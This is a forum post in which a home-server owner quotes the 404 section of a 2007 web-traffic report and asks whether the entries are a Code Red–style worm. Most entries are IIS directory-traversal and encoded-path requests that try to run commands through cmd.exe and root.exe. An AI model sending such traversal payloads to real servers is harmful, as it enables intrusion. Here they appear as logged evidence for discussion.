I have a server running Debian that I use mostly for personal things, hosting photo galleries for family and such. I use Visitors to generate a daily report of the web traffic (by running it through /etc/cron.daily) and occasionally I have a look through these. Today, in the May-07-07 report, I have the following lines in '404 Not Found' errors:
Code:
Different missing documents requested 15
1) 6 /favicon.ico
2) 2 /scripts/..%5c../winnt/system32/cmd.exe?/c dir
3) 1 /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c dir
4) 1 /scripts/root.exe?/c dir
5) 1 /MSADC/root.exe?/c dir
6) 1 /msadc/..%5c../..%5c../..%5c/..� ../..� ../..� ../winnt/system32/cmd.exe?/c dir
7) 1 /scripts/..�../winnt/system32/cmd.exe?/c dir
8) 1 /scripts/..�../winnt/system32/cmd.exe?/c dir
9) 1 /scripts/..%2f../winnt/system32/cmd.exe?/c dir
10) 1 /d/winnt/system32/cmd.exe?/c dir
11) 1 /robots.txt
12) 1 /c/winnt/system32/cmd.exe?/c dir
13) 1 /scripts/..�/../winnt/system32/cmd.exe?/c dir
14) 1 /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c dir
15) 1 /scripts/..� ../winnt/system32/cmd.exe?/c dir
What is this? A code red worm? These are still around?
At any rate, this is mostly just a curiosity to me; I'm not that concerned about it, especially since the Linux server has no idea what a "cmd.exe" is.
Maybe someone will find this interesting,
